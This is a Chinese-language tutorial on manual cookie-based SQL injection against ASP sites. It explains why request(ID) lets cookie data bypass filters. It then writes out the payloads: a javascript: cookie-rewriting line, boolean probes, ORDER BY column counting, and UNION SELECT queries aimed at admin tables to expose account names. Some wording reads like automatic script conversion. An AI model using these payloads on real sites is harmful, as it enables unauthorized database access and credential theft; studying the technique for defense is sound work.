cookie注入的原理其實并不複雜。學過ASP語言的應該都知道，在ASP中 例如：
id=request.querystring(ID);
id=request.form(ID);
在正常情況下程式員應該按以上規範進行代碼的編寫，但是部分程式員，為了友善卻将代碼寫成了如下格式：
id=request(ID);
雖然此時也加了防注入程式。但是，防注入程式并不支援基于cookie送出的資料。而此時代碼由于接受任何送出方式，進而導緻了cookie注入的産生！下面我來簡單示範下cookie手工注入的過程。
首先，我們在存在cookie注入的頁面，按其正常位址進行一次完整的通路。完整通路是為了收集其cookie。
接着，我們使用JS代碼在位址欄将原先的位址替換為如下代碼：
javascript:alert(document.cookie=”id=”+escape(“26”));
這句話的意思是修改之前正常頁面的cookie值。注意：escape 内的數值必須與ID值相同，同樣 id 參數也必須需原位址名保持一緻！
當我們回車後頁面反彈回 JS 彈框，并顯示了 id=26 ，說明我們已經修改了cookie。
此時，我們打開一個新頁面，将之前存在注入的頁面位址拷貝到位址欄。注意：這裡将後面的id 參數去除後，再進行通路！如圖。頁面如果依然傳回正常，則說明cookie 修改成功！
下面我們就可以按正常的思路，來測試其是否真正存在注入。我們回到之前已被我們成功修改cookie的頁面！然後我們就可以通過簡單的注入語句，來判定注入的存在與否:
and 1=1
and 1=2
注：這裡的語句要加在JS語句的ID值後！
在證明确實存在注入後，我們就可以開始猜它的列數了：
order by xx
直到頁面傳回正常！
在猜出列數後，我們就可以來繼續猜解表名。
javascript:alert(document.cookie=”id=”+escape(“26 union select 1,2,3,4,5,6,7,8,9,10 from manage”));
得到表名後，我們繼續進行列名的猜解。
javascript:alert(document.cookie=”id=”+escape(“26 union select 1,2,3,4,5,username,7,8,9,10 from admin”));
當我們猜解的表名列名均為正确時，我們就可以在頁面爆出其賬戶資訊！